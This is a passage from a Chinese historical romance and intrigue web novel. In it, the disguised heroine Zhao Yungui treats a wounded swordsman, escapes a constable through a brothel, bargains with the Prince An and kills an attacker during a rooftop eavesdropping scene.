箫轻尘受伤箫祁政总是要去看望的，后面的日子里每当赵云归偷摸着出门总会遇到些事儿，本来要花功夫去打发孙妈妈就很烦了，还总被闹事，搞的她都心力交瘁了。
半月后。
和煦的阳光透过树叶洒下，如同金丝落在地面上，赵云归拖着酸软的身躯送走了忙碌了一早上的孙妈妈。
回到房间，将手中的信纸靠近烛火点燃，思索着，“这么快吗？”怎么这么快就复职了呢！
正想着该如何，花芷蹦蹦跳跳的进来了坐在她身边，吃起了糕点，感受到赵云归不太对劲的视线后她立马站直了，心慌慌的。
“我脸上……有什么东西吗？”
正怀疑是不是刚刚吃东西弄到脸上了，赵云归起身到书案前，拿了一封信给她。
据说，“安王最近爱上了听曲儿呢！”
刚好让他帮个忙，只不过若是让府里的丫鬟去送赵离下一秒就会找过来，所以这件事只能让花芷去了，而且得小心些万不能让他们看到。
“放心！”
花芷也没多问，放下手中的半块糕点就起身出去了。
在屋里待了会儿，外面便传来了交谈声，赵云归也是没想到箫祁政会亲自来，出去时感觉高梨的眼神的眼神都是带着刀的。
“阿兄。”
“这…王爷怎么来了呀？”
赵云归装作不知情的样子走到了两人身边。
“这几日听到几首曲子感觉还不错，便想邀云归一起去听听，不知云归可愿与我同去？”
正准备答应呢赵云归就被抓住手腕拉到了一边去，高梨压着声音，也是被气的不轻。
“你胆子真是肥了啊。”都学会找人了！
“下次若是想出去直接跟我说便是，不必绕这么大个圈子。”
赵云归尴尬的摆弄着自己的衣角，“阿兄你怎么知道的。”
“就你这点儿小心思。”都懒得说。
对了，“你怎么跟安王这么熟了？”
“啊？熟吗？”赵云归感受到他语气的变化连忙摇了摇头，一双眸子写满了真诚，“不熟啊，一点都不熟。”
高梨略迟疑了一瞬，轻笑道，“行了去吧。”
“我就知道阿兄最好了。”
看着两人离去的背影高梨总感觉有些心慌，总觉得这两人呆在一起不会有什么好事发生。
许是今日风大，赵云归的发丝都被吹乱了，刚抬起手赵云归便下意识的靠近，任他摆弄。
“咳，好了。”
等两人下了马车，远远的就听见王府里面传来了嬉笑声。
箫祁政没说她也就没问，跟在后面走进去便看到慕珂与一个带着金钗，身着金色锦缎长袍的女子对坐着。
女子单手撑着下巴，双眸含情的看着慕珂，微笑间透露出的是她无尽的贵气，见到两人进来她也只是撇了一眼，眼神就又回到慕珂的身上了。
“长平长公主安。”
慕珂回到箫祁政身边后箫婉兮才看向赵云归，“你就是安王的未婚妻？”
边说着边打量着眼前人，赵云归却从她的眸色中捕捉到了一丝轻蔑之色，只是不等她开口回答问题箫婉兮抢在她之前开了口，“眼光真差啊。”
“长平！”
染上几分愠怒的声音直冲箫婉兮而去，她满不在意挑了挑眉站起身，“人家都还没说什么呢，你倒是先护上了。”
“还真是一把年纪了，无趣啊——”
“皇兄，你这样可是一点都不招人喜欢的。”
睨了一眼箫祁政，脚步轻盈的走到了赵云归身边，红唇微张，“是吧？”
赵云归可不敢说话。
空气凝滞了一瞬，箫婉兮率先开了口，“你看吧，都默认了。”
被面纱挡住的嘴角抽了抽，是真不敢说话了，可她越是这样箫婉兮越是开心，越是开心说的也就越起劲儿，“你再晚出生个几年他都是能当你爹的年纪了，可长点儿心吧。”
“啊？”
不给两人反应的机会箫婉兮拉着慕珂就走，“人我先借走了，过两日再还你。”
箫祁政的脸青一阵儿白一阵儿的，看的赵云归没忍住笑出了声，也是万万没想到箫婉兮这张嘴这般厉害啊。
还讽刺箫祁政老牛吃嫩草。
“你还笑！”
面对箫祁政的控诉赵云归伸手捂住了嘴，摇了摇头表示绝对不笑了。
差点忘了正事儿了。
不过，赵云归并不打算从这儿去鬼市了，虽然说鬼市并不会泄露她的消息，加上她会改变声线，并不需要太担心，还是小心些吧。
“鬼信无常？”赵云归心中一惊，警铃大作，本以为是暴露了谁想到箫祁政又突然来了一句，“我很好奇，为什么是这个名字？”
“什么？”赵云归面上始终表现不解，可想心里都骂了他千百遍了，哪有人说话这般大喘气的。
“若是她知道你不会医术就麻烦了。”
啊？
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怎么又扯到她了？鬼市中也没几人见过她，怎么这么快就猜到了？
“医术吗？”赵云归偏了偏头，眸色幽深，意味不明的看着他，“王爷怎么确定我不会呢？”
“神医谷之术不得传朝堂之人，你如何能习得医术，你当真担得起这罪名吗？”四目相对时，他的双眸透着一丝危险的气息。
赵云归能感受到这是在警告她，可他继续往下手有让她摸不清头脑。
“可不论你会不会，依靠我都是最简单直接的方法，不是吗？”
哈？
赵云归懒得争辩十分赞同的点了点头，眸中的笑意，暧昧不明，“王爷说的十分有道理啊！”
“所以啊，我也不知道那人为何会取那样的名字呢。”说着赵云归偏头看着她，眼神真诚，真不像是说瞎话的，“而且，我一直都是依靠的王爷不是吗。”
说着，走近弯腰贴近，满含柔情的双眼闯入，占据了他的所有视线，“王爷……可真好！”
只见一股红晕爬上箫祁政的脸颊，赵云归微微一笑站直了，别开脸装作没看见，“花芷又想吃今朝醉的鱼呢，我得赶紧去定了，不然一会儿该被抢没了呢。”
“等我回来就去陪王爷听曲儿呀。”
“一定要等我哦。”
转身的瞬间嘴角的笑容消失的无影无踪，只身去到今朝醉还真只定了鱼和一些小菜让人送到将军府便出去了。
在周围逛了一圈，买了些小玩意儿便准备往回走了，察觉到几个熟悉的身影跟上轻轻挑眉一笑，“又多了些人呢！”
“真不错啊！”
回到将军府将手上的东西递给一旁的家丁便直接回到自己的院子里了，此时的花芷和高梨正一起坐在外面吃着今朝醉送来的吃食呢，见她回来了花芷连忙起身跑到了她身边，“绾绾！”
拉着她走到石桌旁坐下。
不是听曲儿的吗，“怎的回来这般早？”
“我…准备晚一些再出去呢。”
看到赵云归的眼神花芷瞬间便明白她的想法，看着桌上所剩无几的吃食，随便想了个理由便将高梨打发走了。
回到房间，就见赵云归表情严肃的跟着她坐下了。
难道……是出什么事了吗？
面对花芷的疑问赵云归将她被跟踪的事情告诉了花芷。
“绾绾，你是得罪什么人了吗？”
赵云归摇了摇头，眼神飘忽，思绪翻滚，好像有什么东西被抓住又逃走了。
为了监视吗？
还是在等什么机会呢？
“花芷。”
“嗯？”疑惑的眨了眨眼，“怎么了？”
赵云归将自己的想法跟花芷说了后她立马就答应了下来，收拾了一下赵云归找准时机从后门翻墙出去了。
不出所料，刚出去便有人跟着她。
七拐八拐，时不时在小摊前面停下来看看，买了一地东西后戴上刚刚买的面具走进了一家路过了好几次的成衣店，乘着还没有人跟进来随意指了一件浅粉色轻纱，接过，“我自己来就行。”
打发走那人赵云归绕过一个屏风走进，与等候多时的花芷会面。
两人都没有开口说话，默契的交换了手上的衣裳后各自换上了，花芷递给她一张纸条，看到上面写的一个地址点了点头。
赵云归刚出去箫祁政的人就来人找她了。
便想着写下来告诉她。
花芷拿着赵云归刚刚买的东西先一步走了出去，看着纸条上的地址思索片刻，又等了许久才付了钱离开，快步走进今朝醉，入了鬼市。
这……是，“谁干的？”
16.画舫琵琶女
走近蹲下身捡起落在地上被破坏的锁，上面还有些未干涸的血迹沾到了她的指尖，推开门便看到一个浑身是血的人躺在里面。
看样子也就在她前面一会儿到的这里。
这？
看样子“他……不是……”乔牧说的那人。
若是乔牧带来的人定是不会将门锁弄成这般，也来不及多想，拴上门闩，将蜡烛点燃。
“看着挺瘦的。”怎么拖着这么重！
愣是费了九牛二虎之力才把这人给拖到一旁的床榻上放好。
轻呼一口气，缓了缓，便伸手解开他的衣衫。
男子微微泛红的肌肤暴露在空气中，检查了一下，只有肩膀处中箭再便没有其他的伤口了，只是这暴露在外的箭杆已被斩断，若是想取出还是得费些功夫的。
“遇到我，算你小子走运。”
翻开他的眼皮观察了一下后扯过他的手臂，放平，号脉。
“这……”
眉宇间染上了一丝忧虑，起身去取了一把小刀在他的伤口处划了一刀，黑红的血液从锋利的小刀上滴落，男子的脸上也浮现出丝丝细汗。
掰开他的嘴塞了个帕子。
才继续接下来的动作。
现如今他昏迷不醒，赵云归就先将他的手脚固定住了，免得他潜意识做出些反抗就坏了。
取箭。
男子脸色煞白，这一操作下来疼的他浑身都是冷汗，额头青筋暴起，手脚用力仿佛要挣脱开来一般。
“哼嗯——啊——”
看着他因为太过用力而被勒出的红痕赵云归不自觉咽了咽口水，“还好我绑的够紧。”
不然就他这样子，非得一拳给她撂倒不成。
上了药，又止了血，等男子缓过神不再有什么过激的反应了，赵云归才将绑住他的绳索解开，随即拿起哪还带着男子血迹的小刀划破自己的手心，感受着身体细微的变化。
起身去配药。
等药熬好了便搬了一个凳子坐在旁边看着。
男子缓缓睁开了眼，最先入目的便是那有些狰狞的面具吓的他弹坐起身，原本处理好的伤口又裂了开来，透出点点血迹，“嘶。”
两人静静对峙着，可看到自己半裸的身体和处理过的伤口，不得不承认是眼前这个人救了自己，“多谢。”
只是……他怎么不记得自己的手腕何时也受了伤，看着他这般模样，赵云归只觉好笑，摇了摇头起身。
“可千万别急着道谢哦。”说不定下一秒就死翘翘了呢。
“我只是给你处理了伤口。”
“可没有救你的命哦。”
“这便足够了。”他只觉得是赵云归是想从他身上得到些什么才这样说好把他留下，可他此刻却只想快些离开这个是非之地，“多谢姑娘。”
起身将地上的衣服捡起穿上，拿起一旁的剑，抱拳弯腰，“告辞。”
“沈…镜安？”
他开门的手一顿，沈镜安转过身边看到赵云归将一块令牌半举着打量着，下意识摸了摸腰间，大意了。
走近伸出手，想让赵云归将令牌还给他，“今日身上没带什么值钱的东西，明日……明日我便让人将银子……是诊金给姑娘送来。”
“公子这般说可就严重了！”
拿回令牌他便想着快些离开，只是赵云归可并不打算给他这个机会，“公子啊，你如今是走不出去了呢。”
沈镜安只当是这人在威胁他，不耐烦的斜睨了她一眼，轻哼一声想要嘲讽一句，口腔中便先传来了一股血腥味，“咳。”
“你！”
“砰。”沈镜安直挺挺的就砸了下去，光是在一旁看着都疼啊，没办法，也只能再一次把他拖回去。
给他喂了几粒药丸。
沈镜安这一次醒来只觉浑身酸软无力，也不再政挣扎了，有些生无可恋的看着一旁的人，“说，你想要什么？”
“答应我三件事。”
“好。”
第一件，“总捕衙司，齐卫…认识吧！”
说着将手中帕子递过去，他便十分识趣的接过咬住，点了点头，赵云归低下头用火烧着手中的小刀，声音里没有任何感情的说道，“我要让他再停一次职。”
“留他一条命就行。”
“至于你要怎么做我不管。”
沈静安紧皱的眉头处已经冒出了丝丝细汗，没办法只能点头答应下来，衣服被扒开，那把被烧过的小刀没有一丝犹豫的插进他肩膀上的伤口处，
“哼啊……啊——”
沈镜安的双手紧紧握拳，身体也是控制不住的颤抖，赵云归再次发力时他都要疼的晕过去了。
“啊——”
从伤口里面扯出一条白色丝状物的东西后一只通体漆黑的小虫子便跟着爬了出来，刚见光便被赵云归手中的刀一分为二了，“等你的好消息。”
“我还会找你的，可千万不要食言哦。”
“嗯。”
沈镜安的意识有些模糊了却还是一个劲儿的点头，生怕这人急了再做出什么事儿来。
将熬好的要放在沈镜安旁边，走远些摘下面具直接端起碗一口气把药喝掉。
强撑着坐起身，迷迷糊糊的端起碗眼神却一直落在不远处的背影上，喝完药就沉沉的睡了过去，准备重新给他处理了一下伤口外面突然变得热闹起来。
没办法，草草的处理了一下准备离开一旁暗门就突然打开了，乔牧慌张的跑了过来，“快走。”
“你看好他。”
将手上的东西丢到一边，走到那柄被遗忘的剑旁，扯下上面的剑穗收了起来，“可千万别让我失望啊！”
说着便直接往门口走去，见还没有人注意到自己连忙将锁挂上了，朝着出去的方向快步走去，若不是怕太引人注意了恨不得跑着离开。
“站住。”
“站住！”
“喂！”肩膀被人用力的按住，满是冷意的声音在耳边响起，“耳朵聋了吗？说了，让你站住没听见吗？”
“鬼信无常是吧？”
“跟我走一趟吧。”
这声音？
转过身抬眼看去，没想到他连伪装都没有做，浅浅的点了点头，“见谁？”
“自然是……”齐卫附下身压低声音道，“太后。”
果真是记吃不记打啊。
“烦请带路吧。”跟在齐卫身后走着，前面的人还时不时的往后看两眼，这条路赵云归之前从未走过，看来是专门供皇室之人进出的。
弯月如勾，挂在枝头，银白色的月光落在湖面与各种颜色的光交织在一起。
出去时也不是今朝醉外了，而是京城第一青楼——映月楼。
刚好在一个夜晚人最多的地方，这不是摆明了给她逃走的机会嘛，趁着齐卫没回头赵云归直接挤进了人群，跟着人群进到了映月楼中。
她刚走进去，里面的姑娘闻着
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味儿就来了，被围住的赵云归取了一块儿金元宝递给了一个看上去还算是顺眼的姑娘，那姑娘眼睛都亮了，拉着她就往楼上走，剩下的几个人只能眼巴巴的看着。
“公子。”
那姑娘关上门声音又娇又软，听的她鸡皮疙瘩都起来了，眼看着她已经开始脱衣服了赵云归手急眼快的制止了，“你叫什么？”
赵云归一说话便听出她是女子了，吓得那姑娘愣了一瞬生怕是哪家娘子来捉人的，可看光她这装扮也不像啊，嗓音柔柔的说出了自己的名字，“海棠。”
“好，海棠姑娘劳烦给我找一身衣裳。”
“啊？”
完全不给她拒绝的机会赵云归又给她手上塞了一块金元宝，“快一些。”
“哦，好。”
稀里糊涂的找了一身稍微没那么暴露的衣裳递给她，在她换衣裳的间隙帮她把脱下的衣裳收了起来，“多谢。”
“姑娘！”
戴上面纱后准备跳窗离开却被海棠叫住了。
看去，便与海棠那可怜的眼神对上了，两人只是静静对视着，并无多言，接过她递来的包袱，看到她的眼神还是于心不忍，“帮我保密，我过两日便来赎你。”
“多谢姑娘！”
“姑娘当心些。”
外面本还有很多人的，可齐卫发现赵云归不见后便让手下去清场排查了，趁着还有些人快速走到湖边趁人不注意将手上的包袱扔进了湖中。
只是她这装扮有些显眼加上不远处正排队核查才让人离开，赵云归便站在人群中张望着，不敢轻举妄动。
刚好听到他们聊起了安王。
赵云归便悄悄地挪近了些想着听清楚些，可又不敢离得太近了，就听到些什么游花船，什么花魁什么的，吃…花酒？
他？好像……不太行吧。
眼看着那群人也都散开了，赵云归心一狠直接就跳到了湖里，天色昏暗加上她的动作很轻便没有特别吸引到别人的注意。
“我都已经那样说了！”可千万要在呀。
奋力朝着不远处的一艘画舫游去，船头悬挂的灯笼随着微风摇动着，倒映在湖面，乐声越来越近赵云归偷偷探出头换口气。
又继续向前游去。
画舫周围挂着轻盈的纱幔，随着水波轻轻摇曳，月光落下船身仿佛染上了点点星光。
贴近船身探出头伸手抓住，嘴唇微微张开呼吸着，胸口也跟着剧烈起伏着，脸上的面纱也不知何时被湖水卷走了，水滴顺着她的脸颊滑落。
抬眼，是熟悉的狐狸面具。
“好巧啊。”也是熟悉的声音。
接过，爬上去，背着箫祁政将面具戴上，转身便看到他递来了一件外披，“多谢王爷。”
忘记脸被挡住了，下意识挂起淡淡的笑容。
心中却在吐槽着，巧什么巧啊，把这一片都包下来了还只留了两艘画舫，这是生怕找不到吧，只是这夜晚的风显得格外的凉，接过披上也不禁打了个寒战，只得紧紧拽着外披。
“你每次出场都挺让人意外的。”
“先去换身衣裳，别着凉了。”
一个小丫鬟低着头走过来将她带走，路过一个个屏风时透过缝隙看到一个带着帷帽的人跪坐着，抱着琵琶，垂纱挡住了她的侧脸，便没看清模样。
白皙纤细的手指拨动着琵琶，乐声悠扬，没忍住驻足多听了会儿。
微风袭来，打了个哆嗦，才继续走。
17.这些都是偷了的亲情
换好衣裳出来坐下，小丫鬟便拿起事先准备好的帕子走近将她的头发擦干重新绑好。
“好了，姑娘。”
小丫鬟离开，赵云归愣愣的看着镜中的自己，这装扮倒是同她之前的风格有诸多相似之处，这时箫祁政也进来了。
“就等你了。”
“咳咳。”
接过他手上的热汤放在唇下轻吹着，自然是知道他话中的意思。
只是……府中众人只怕都以为她此时还尚在房中并未出门，必定啊不能在这里呆太久的，若是被赵家人发现了可就麻烦了。
“今日还是有些晚了。”
“下次吧。”
“好，都听云归的。”被放了鸽子箫祁政也不气恼，看着她喝完热汤便吩咐人将船靠岸放她离开了，免得过于引人注意了便没有派人送她，而是叫人暗中跟着。
一轮孤月高悬夜空，清冷的月光洒落在她的身上，投射出她那长长的影子。
偷偷探出头确定院子里没人才翻身进去，哪里想到竟与等候了多时的高梨撞了个正着，赵云归咽了咽口水不敢说话，高梨双臂环抱手拿戒尺也不说话。
“阿兄~！？”
“这么晚了……”还出来赏月呢！
都已到了嘴边的话在对上他那冷冽的眼神的瞬间便被扼杀了，十分识相的伸出双手装作害怕的别过头，声音坚定到像是去赴死的，“我错了！”
“阿兄——”
“咳！”高梨没想到她是如此反应，压住上扬的嘴角轻咳一声，做样子的轻轻打了一下她朝上的手心。
“下不为例！”
“以后万不能再这般行事了。”说着高梨用手中的戒尺敲了一下她的脑袋，一副恨铁不成钢的样子，“要是祖母知道又得挨罚了。”
“嗯嗯！”
伸出手，发誓，“我保证，再也不会了。”
见她一个劲儿的点头，都怕她先把自己给晃晕了，“行了行了。”
“那…好梦哦，阿兄！”
说完飞快的跑进房间关上了门，看的高梨是一点儿反应的机会都没有啊。
“绾绾！”
见人走进连忙迎了上去，上下眼皮都在打架了却依旧拽着赵云归检查她身上有没有伤，“我对不起你啊。”
花芷拉着赵云归的手低下头，嘴角微微下垂，“我明明都装的那么像了，也不知道他是怎么看出来的。”
“别担心。”
其实高梨那张脸虽看上去挺唬人的，可他对赵云归还是挺放纵的了，看得出他还是挺喜欢这个妹妹的，这事儿被他知道也没什么大事儿。
“行了，没事的。”
听到这些话花芷抿着嘴，抬起头眨巴着眼睛，表示有被安慰到，“好吧。”
拉着她在桌前坐下，打开食盒。
里面躺着各种口味的糕点，先前高梨怕赵云归偷摸着出去没时间吃东西，便专门送过来的，见她出了神花芷拿起一块送到赵云归嘴边。
这期间她都打了好几个哈欠了，却还是一直举着，以为她是不想吃，“怎么也得少吃点吧。”
“不然明天该不舒服了。”
“嗯。”赵云归接过她手上的糕点咬了一口，很甜很甜，虽然有些凉了可心中却暖暖的，可总感觉这一切都是偷来的，是并不是真正属于她的。
微风不燥，一夜未眠。
怕吵醒身边的人，赵云归放轻了动作下床，开门出去时高梨已经早早的坐在石桌旁等着了。
“阿兄。”
“尝尝看！”高梨将石桌上的食盒打开，赵云归坐下便看到里面躺着的小兔子形状的糕点，咬了一口，入口即化，甜而不腻。
“嗯嗯，好吃。”
“花芷她…还没醒吗？”高梨将食盒第二层的莲子羹端给她，说话时脸上的表情有些不自然，不过赵云归只顾着桌上的吃食完全没注意到他这一细微的变化。
“昨日等我到太晚了。”
“就想着让她多休息会儿。”
赵云归低头喝粥，高梨看着她的眼神逐渐染上些凝重，纠结着开了口，“安王最近在调查私盐的案子，与他保持些距离免得受牵连。”
“嗯，好。”
想到两人最近走的极近他的心中便升起一丝懊悔，“你们……唉…当初也没料到他会发生这样的事，不然如论如何我也不会答应这门亲事的。”
这话点醒了赵云归，无数疑惑冲击着她。
“所以，当初究竟发生了什么？”
两个几乎没有交集的人为何会定下亲事，所有人都知道赵家人永不入宫为妃，赵云归为何会与当时还是太子的箫祁政订婚？
高梨的嘴角扯出一丝苦笑。
正如她所知道的，当年的箫祁政聪慧过人又十分懂事，是先皇最看中的皇子，唯一一次惹先皇不满便是为了这个婚约，他曾不顾流言到将军府提亲三次无果后直接请旨赐婚。
在雨里跪了整整两天，宫人怎么劝都没有用，先皇拗不过他便只能同意。
但是没人知道他为何会如此执着。
后面就算双腿被废也并没有让他就此颓废，而是多次去神医谷求医，可那时神医谷谷主早就身亡他也是无功而返，所有人都知道他的野心他却仍安然留在京城。
求医？难道是她不在的那段时间？
所以说，他与云归见过！所以那日他才会说许久不见生疏了！
“他这个人心中永远只有利益，你行事……当心些。”高梨本想为其分析其中利弊，但他也不想过多的干涉赵云归的行事。
“我定会以家族利益为先的。”
高梨神情平淡，淡然一笑道，“凡事应以自己为先，我永远在你身边。”
赵云归有些呆住了，怔怔的看着高梨起身摸了摸她的头，这般温情不属于她，她也不知道该回应什么。
“我让人备了吃食。”
“等花芷醒了让小秋拿给她吧。”
“嗯。”
“若是无事今日便呆在府中吧。”摸了摸她的头才离开。
赵云归不出门便派人去今朝醉给乔牧送了封信，让他打听一下关于海棠的消息，看看她的身份如何。
别又是什么探子。
坐在桃树下的石桌旁，看着刚刚送来的信件，陷入了沉思，属实是没想到她的身份如此简单，无父无母无任何背景，是被人贩子卖到映月楼的。
竟然如此的话，今日便去将她赎出来吧，免得日常梦多。
出去时便看到高梨站在门口在与谁说着话，走进一看没想到那人是齐卫，他今日穿的倒是不太一样，配上他那有些稚嫩的脸倒是没办法将他与杀人不眨眼的人联系在一起。
“二小姐这是要出去？”
赵云归看上去有些怕他的点了点头，“我…我就出去转转。”
齐卫本是来找赵心缇的，只是高梨死活不肯放他进去，便僵持住了。
本想着从赵云归身上下手，
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可她却吃惊的表示赵心便早就离开了，难道他不知道吗，被赵云归这么一问齐卫只得尴尬的离开了这里。
又嘱咐了两句赵云归便只身出去了。
“赵二小姐。”
熟悉的声音叫住了前面的人，转过身，“小公子？”
把人带到一个小摊旁，箫婉兮正坐着呢，见他们走近抬手拉住了站在她身边的慕珂，脸上的不悦明眼人都看得出来。
“也真是，找别人传话不行嘛？”怎么总是扰她的好事。
“长……”赵云归正准备行礼就被制止了，她可不想在大街上被认出来，到时候又得装样子，麻烦死了。
“殿下在等二小姐。”
顺着高梨指的方向看去，箫祁政正坐在今朝醉的二楼手搭在窗边看着他们，赵云归自然是选择拒绝喽，她今日出来还有更重要的事呢。
“海棠姑娘被抓走了。”
“什么？”谁干的？
深呼一口气，松开紧握的手，“行，带我上去吧。”
将她带到包厢门口高梨便跟箫婉兮一起离开了，推开门，箫祁政正独自坐在窗前看着外头的风景，就连人走近他也没舍得分她一个眼神。
“一起吃点儿吗？”
赵云归的手搭在肚子上，一点都不饿，不过他既然开口了便陪他吃点儿吧，“好啊。”
“多谢王爷。”
说着赵云归拿起旁边的筷子，菜刚夹起来箫祁政就悠悠开口。
“不怕我下毒？”
赵云归有些无语的抿了抿嘴，感觉他有毒，昨日就感觉他有些不对劲，也不知是谁惹他了。
“王爷叫我上来不会是为了让我看着吧。”赵云归抬手托着下巴，双眸带着笑意直勾勾的看着他，“还是说，一日不见如隔三秋……”
话没说完箫祁政也明白了其中的意思，傲娇的偏过头端起桌上的茶水喝了一口，“自作多情。”
“我在说我自己呢。”
箫祁政有些惊讶的转过头看着她，愣了神，一时间不知该做什么了。
“咳。”掩饰般的轻咳了一声，心虚的移开眼睛。
如今她也上来了，所以，“海棠在哪儿？”
“在……”眼见着他都要说出来了，又将话咽了回去。
“咳。”
意识到不对劲后他脸上的表情瞬间变冷，看他那眼神真是恨不得把对面的人从这儿丢下去才能解气。
赵云归心虚的撇了撇嘴，“不说算了。”
箫祁政扶额，真是拿她一点儿办法也没有，“被总捕衙司的人捉走了，不过…凭你是救不了她的。”
“那王爷呢？”一定有办法的吧！
这样一来，箫祁政又来了兴致，“求我，我高兴了兴许还能……”考虑考虑。
话都还没讲完赵云归就开了口，不带一点犹豫的，也不带一点情感，“求你。”
看着她那眼神箫祁政眉头都皱成川字形了，这人还真是一点儿都不知道害臊啊，主要是她还一点儿都不按套路出牌，真是让人头疼的很呐。
“你……”
见他这般难看的模样还以为是嫌她说少了呢，“求你。”
“求你。”
还是还不够吗？“求你求你。”
“行了。”懒得再逗她了。
箫祁政表示他过几日可以把海棠弄出来，不过她去赎人的时候得先前找一个人。
找人？
总感觉有什么阴谋！
18.莫非不能人道
不过……不就见个人嘛，这有什么的。
赵云归自然是答应下来了，如此没有防备心，箫祁政有些无奈的摇了摇头。
不过，“王爷是不是得先给钱？”
“将军府最近很缺钱吗？”说着箫祁政端起酒杯喝了一口，又夹菜吃了几口才缓缓开口，“还是说我上次给的不够多？”
上次是上次的，哪里能和这一次混为一谈呢。
她又想到了什么，嘴角染上了不怀好意的笑，双手交叉撑着下巴，笑道，“主要啊，我这不是替王爷赎人嘛，我又没那方面需求。”
“你觉得我有？”
“你……”没有吗，“啊！？”这话？
难道他不仅腿断了，还真的不能人道了？
想着想着赵云归的眼神便上下打量着箫祁政，他瞬间懂了这眼神的意思，不好意思的轻咳一声后把一个鼓囊囊的钱袋放在赵云归面前，“我不是那个意思。”
“哪个意思？”
赵云归打开钱袋，又是满满一袋黄金啊，看的眼睛都亮了，不愧是王爷啊，出手就是大方啊。
箫祁政以为是自己想多了意外的红了耳朵。
等赵云归收好钱袋子时，再抬眼时便看到了他红的滴血的耳垂和难看的脸色，吓得她连忙装作没看见，望向窗外，皱着眉。
不敢看他了。
莫非真的是戳到他的痛处了？
这可要怎么办啊，此时她的脑海中已经脑补出一万种剧情了。
为了转移话题，箫祁政取出那块栀子花玉佩举了起来，赵云归看到后表情一下就不对了，死死盯着生怕他对这玉佩做些什么一样。
接过玉佩挂在腰间心情也好了不少，刚刚的事儿都被抛走了，“多谢王爷！”
真是大好人啊。
“哦~？。”
“怎么不怕随身带着损坏了？”
损坏？
赵云归摇了摇头，沉浸在自己的喜悦中，一时间没反应过来他这是话里有话，“死物罢了，放着也是落灰，随身携带也方便睹物思人不是吗？”
难得见她眼中的笑意这般真诚。
“哼。”箫祁政放在腿上的手握紧，低笑一声咬牙切齿的说道，“好一个…睹物思人啊。”
“本王还有事，慢走不送！”
“啊？”赵云归没想到他这般突然的赶人，愣了一下才站起身，“哦。”
一步三回头，就是没反应过来他又是怎么了。
不是，这人怎么翻脸比翻书还快啊，下楼后去定了些吃食才回去，等赵云归到时那俩人又先吃上了，“绾绾！”
“快来。”
她的碗筷早就备好了，就等她了。
这场面还是很温馨的，若是，“阿姊也在就好了。”毕竟赵心缇看上去也是真心待她的。
“她……”高梨每当要提起关于她们的事儿就总是犹犹豫豫的，看的这人啊干着急。
“要照顾阿母嘛，我知道的。”赵云归也就是随口一提，倒也不是非得和她一起。
高梨之前说过，自从他来柳眉昭就搬出去了，到后面她的身体愈发不好了赵心缇也就搬过去照顾她了，原本赵离对此是很不满意的，只是这小辈要敬孝道她也没法说什么不是。
只是他越是不细说便越是让人好奇，而且她作为柳眉昭的亲生女儿哪有一直躲着不见的道理啊，不知道的还以为她嫌弃自己的阿母呢，连照顾都不愿意的，“其实，我也可以去照顾阿母的。”
高梨皱眉摇了摇头，“以后别说这话了。”
赵离本来就不喜欢赵云归，这话要是传到她耳朵里非得把她赶出去不可，这才深刻感受到她这祖母不是一般的不喜自己啊。
连着几日赵云归都在家中等着，等着消息。
一日，海棠被安王从官府救出的消息传出，赵云归也收拾收拾准备出去了。
等到天色彻底暗了她才出门，往映月楼走去。
箫祁政坐在二楼将手搭在窗边，眼看着赵云归已经走到了映月楼门口却又往另一个方向走去，箫祁政低笑一声摇了摇头，“也是难为她了。”
赵云归趁着没人翻墙进了映月楼后院，丝竹之音悠扬入耳，烟粉气迎面而来，呛得她没忍住打了个喷嚏。
“谁在那儿？”
“还不出来，我已经看见你了！”女人的声音都在颤抖却依旧没有停下步伐。
“出来。”
清脆的声音传来，赵云归迅速蹲在一边躲了起来，脚步声逐渐靠近她将绑在腿上的匕首拔出，就在两人对视之时赵云归迅速起身趁她还没叫出声先伸手捂住了她的嘴，冰凉的刀刃贴近她脖颈处的皮肤。
“别叫！”
“嗯嗯嗯！！！”
女子慌张的应答着，本就轻薄的衣裳从她颤抖的肩头滑落，突然被挟持吓得她双眼含泪，透过这双眸子赵云归仿佛看到了故人。
只是一时间没想起来是谁。
等她确定了这周围没其他的人她才放低声音开口道，“这儿有没有一个叫清儿的？”
“或者是名字里带清的？”
女子思考了一瞬，摇头。
赵云归警惕的看了看周围，贴近她的耳朵威胁道，“我松手你不许叫，要不然我就杀了你！”
“嗯嗯嗯！！！”女子点头如捣蒜，生怕那刚移开一点都匕首一个没长眼又回来划破她的皮肤。
将捂着她的手慢慢移开，见她确实听话便将她滑落的衣服拉起，从腰间的钱袋子里掏出一块金子塞到女子手中，“记住，今日你没见过我！”
“嗯嗯！！”
女子端详着手中的金块都忘了害怕了。
见赵云归转身离开她立马收好金块追上去拉住了她的手腕，尽可能的将声音压低了些道，“姑娘，那边有贵人在谈事你还是换个方向走吧。”
“好，谢了！”
赵云归顺着女子指的方向走，的确没遇到人，手抚上腰间的钱袋立马打消了离开的心思，听到交谈声赵云归一个翻身动作极轻的落到屋顶。
俯下身挪开一块瓦片吓得她一下就弹开了，赵云归将其恢复原样咽了咽口水，脸上的神情有些不太自在的，“我…不是有意的，抱歉！”
嘀咕着换了个位置。
这一次倒是学乖了，先趴在上面听听里面的动静再说。
刚好听见了他们在说贩卖私盐什么的。
难道这就是那人说的贵人？
赵云归将上面的瓦片挪开，只见一个男子端坐着，将另一个男子踩在脚底，只是那人被挡住了所有都看不清样貌。
凑近想要听清些别人来到她身边才反应过来。
“喂，是谁派你来的？”
剑尖指着她的脖子，赵云归贴心的将瓦片放回后举起双手，趁男子打量之际赵云归往后躺去，男子还没反应过来她却从屋顶滚下，安稳落地。
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想要再次翻墙出去，却被男子按住了肩膀，语气满是嘲讽和轻蔑，“还想跑？”
“就这三脚猫功夫，你是跑不掉的。”
赵云归转身赤手空拳朝着他的脸打去，奈何力气相差悬殊，被轻松制服，男子握住她的手腕迫使她翻身将她抵在墙上，嘴角微微勾起，“原来还是个女娃娃啊！”
试着挣扎了一下确实无济于事，腰部察觉到男子身体的贴近赵云归一个后踢过去男子下意识松开了手，想要看她还能做些什么。
“别挣扎了，没用的。”
见身位够，赵云归以极快的速度拔出腰间的软剑朝男子挥去。
一剑封喉。
男子捂着不停冒血的脖子，满脸的不可置信，倒地后鲜血争先恐后从嘴中涌出，他愤恨的眼神也始终落在赵云归身上。
“你……”
“下流！”赵云归走近将他抬起的手用力踩在脚底。
从腰间取出一个白色瓷瓶打开倒在她脖颈上的伤口上和他的□□上，接触到皮肤的一瞬间便滋滋冒烟，本来昏过去的男子疼的醒来可赵云归已经翻墙出去了。
听上去极近的打斗声吸引她的注意，放轻脚步贴着墙面往拐角走去，就见和刚刚那男子穿的一样的两人将一个浑身是伤的人抵到角落。
小公子？
那地上的是？赵云归一惊，“长平长公主？”
许是察觉到动静，那几人都朝着他这边投来了目光。
“哟！”
